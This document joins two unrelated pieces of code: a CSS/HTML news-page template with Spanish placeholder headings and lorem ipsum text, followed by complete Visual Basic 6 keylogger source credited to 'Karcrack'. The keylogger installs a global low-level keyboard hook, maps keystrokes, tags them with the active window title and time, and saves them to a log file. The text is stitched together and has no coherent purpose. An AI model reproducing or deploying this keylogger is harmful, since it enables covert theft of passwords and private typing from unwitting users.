p{margin:0 10px 10px;text-align:justify;}

.not_portada2 {
 float: left;
 width: 45%;
 /*border:1px solid red;*/
 padding: 0px 15px 0px 15px;
}

<div class="not_portada2">
          <div class="titulo2">
            <p>Este va a ser el titulo de la noticia 2 </p>
          </div>
          <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam vitae rutrum nisi. Curabitur quis erat libero, eu euismod ligula. Quisque malesuada mauris sed arcu placerat sed consectetur nisi luctus. Mauris ac lorem quam, ac dictum nunc. Nullam eu purus et leo rutrum hendrerit vel et diam. Pellentesque scelerisque, metus at blandit pharetra, turpis leo sagittis dolor, id malesuada est quam eget neque. Proin ante turpis, hendrerit id mattis ac, aliquet sed felis. Praesent vestibulum, nulla ut interdum ultricies, nisl felis fringilla magna, tristique porta odio nunc vitae tellus. Mauris quis tellus tellus, id euismod nisl. Nam accumsan lacus at massa mollis eu fringilla purus vulputate. Nulla posuere augue arcu, nec pellentesque libero. Donec auctor ligula sed lectus vehicula elementum. Etiam volutpat porta nibh, ut tempus felis bibendum id. Pellentesque condimentum congue urna quis consequat.
            
            Maecenas scelerisque, felis et dapibus lobortis, neque orci cursus sapien, et sagittis dui ipsum non sapien. Phasellus varius sem sit amet mauris accumsan lacinia. Proin id porttitor lectus. Duis vehicula nisl accumsan justo varius tristique. Praesent venenatis nulla vel dui fringilla nec lacinia nisi ultrices. Etiam a mi nec felis scelerisque tempor. Phasellus semper, metus vel cursus ullamcorper, arcu nunc placerat nulla, vitae placerat justo felis in purus. Pellentesque aliquet congue sapien et elementum. Nullam pellentesque metus et ante dignissim nec feugiat velit rutrum. Suspendisse pulvinar gravida nisl, eu sollicitudin ligula fringilla non. Pellentesque porta scelerisque metus vel ultrices. Donec fringilla ullamcorper est. Vivamus fringilla ullamcorper elit, eu consequat risus bibendum quis. Suspendisse id dui et sem congue pellentesque.
            
            Aliquam rhoncus lectus quis augue pellentesque consectetur. Sed dignissim mi faucibus elit consectetur pharetra. Proin tincidunt condimentum hendrerit. Nam nec mi elementum sem facilisis ultrices eu vitae mauris. Nunc aliquam mattis elementum. Cras vel pharetra erat. Sed blandit felis sed ipsum scelerisque auctor. </p>
        </div>
        <div class="not_portada2">
          <div class="titulo2">
            <p>Y este sera el titulo de la noticia 3</p>
          </div>
          <p>Integer non sem sapien, eu elementum felis. Pellentesque quis mollis nibh. Vestibulum in auctor nibh. Aenean eu diam eu ante dictum suscipit vel eget magna. Etiam eu dui in magna laoreet elementum. Quisque urna risus, malesuada et eleifend ut, dapibus eget magna. Nullam rutrum ultricies sapien vel posuere. Pellentesque interdum mattis tempus. Nunc metus lectus, blandit sed malesuada nec, adipiscing eu diam. Fusce commodo enim nec leo faucibus mattis. Quisque aliquam, turpis id porttitor fringilla, massa turpis feugiat massa, eu vulputate odio nisl ac elit. Aenean id magna arcu, quis ullamcorper magna.
            
            Vivamus ornare feugiat dui, nec auctor tortor congue eu. Sed faucibus mollis libero, vel tincidunt nisl condimentum aliquet. Maecenas in augue augue. Mauris eu orci nulla. Cras fermentum rhoncus erat, vel viverra purus mollis congue. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque scelerisque, nulla ut fermentum volutpat, urna lorem tempus diam, sit amet auctor nisl ipsum et tellus. Sed porttitor sapien bibendum sapien dictum porta. Nam nec augue vitae justo venenatis volutpat. Maecenas aliquet, lorem vitae feugiat placerat, nisl orci convallis arcu, ac cursus diam felis quis augue. Proin iaculis dignissim egestas. Ut dignissim lorem vel enim luctus eu pulvinar massa euismod. Suspendisse purus urna, scelerisque ut posuere id, consequat quis dolor. Integer non nisl metus. Maecenas nunc sapien, viverra sed suscipit et, varius quis lorem. </p>
        </div>
        <div style="clear:both"></div>

Option Explicit
 
'|||||||||||||||||||||||
'|                     |
'|Autor: Karcrack      |
'|Fecha: 24/09/08      |
'|                     |
'|||||||||||||||||||||||
 
 
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Private Const WH_KEYBOARD_LL   As Long = 13
 
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
 
Public Type KBDLLHOOKSTRUCT
    VkCode                  As Long
    ScanCode                As Long
    Flags                   As Long
    Time                    As Long
    DwExtraInfo             As Long
End Type
 
Dim KBHook                  As Long
Dim KeyData                 As String
Dim lHwnd                   As Long
 
Public Sub ManageKeylogger(ByVal Enable As Boolean)
    Select Case Enable
        Case True
            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
        Case False
            Call UnhookWindowsHookEx(KBHook)
    End Select
End Sub
 
Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
    Dim KeyBoardHook        As KBDLLHOOKSTRUCT
 
    If nCode = 0 Then
        CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
        With KeyBoardHook
            If .Flags = 0 Or .Flags = 1 Then
                If SaveLog(TranslateKey(.VkCode)) > 50 Then
                    Call LogToFile(App.Path & "\Log.log")
                End If
            End If
        End With
    Else
        KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
    End If
End Function
 
Private Function TranslateKey(ByVal KeyCode As Long) As String
    Dim LngShift            As Long
 
    'Funcion optimizada para su uso en teclados españoles.
 
    LngShift = GetAsyncKeyState(vbKeyShift)
    If KeyCode >= 58 And KeyCode <= 90 Then
        TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
    ElseIf KeyCode >= 96 And KeyCode <= 105 Then
        TranslateKey = Chr(KeyCode - 48)
    ElseIf KeyCode >= 112 And KeyCode <= 123 Then
        TranslateKey = "{F" & KeyCode - 111 & "}"
    Else
        If KeyCode = 160 Then TranslateKey = ""
        If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
        If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
        If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
        If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
        If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
        If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
        If KeyCode = 27 Then TranslateKey = "{ESC}"
        If KeyCode = 46 Then TranslateKey = "{DEL}"
        If KeyCode = 36 Then TranslateKey = "{HOME}"
        If KeyCode = 35 Then TranslateKey = "{END}"
        If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
        If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
        If KeyCode = 45 Then TranslateKey = "{PASTE}"
        If KeyCode = 144 Then TranslateKey = "{NUM}"
        If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
        If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
        If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
        If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
        If KeyCode = 13 Then TranslateKey = "{ENTER}"
        If KeyCode = 8 Then TranslateKey = "{BACK}"
        If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
        If KeyCode = 9 Then TranslateKey = "{TAB}"
        If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
        If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
        If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
        If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
        If KeyCode = 164 Then TranslateKey = "{ALT}"
        If KeyCode = 165 Then TranslateKey = "{ALTGR}"
        If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
        If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
        If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
        If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")
        If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#")
        If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")
        If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü")
        If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö")
        If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä")
        If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß")
        If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^")
        If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
        If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
        If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
        If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3")
        If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
        If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
        If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
        If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
        If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
        If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
        If KeyCode = 145 Then TranslateKey = "{ROLL}"
        If KeyCode = 44 Then TranslateKey = "{PRINT}"
        If KeyCode = 19 Then TranslateKey = "{PAUSE}"
        If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode
    End If
End Function
 
Public Function SaveLog(ByVal sKey As String) As Double
    Dim aHwnd               As Long
    Dim WinText             As String
    aHwnd = GetForegroundWindow
 
    If aHwnd <> lHwnd Then
        lHwnd = aHwnd
        WinText = String$(255, Chr$(0))
        Call GetWindowText(aHwnd, WinText, Len(WinText))
        WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
 
        KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
    End If
 
    KeyData = KeyData & sKey
 
    SaveLog = Len(KeyData)
End Function
 
Public Sub LogToFile(ByVal sPath As String)
    Open sPath For Binary As #1
        Put #1, , KeyData
    Close #1
End Sub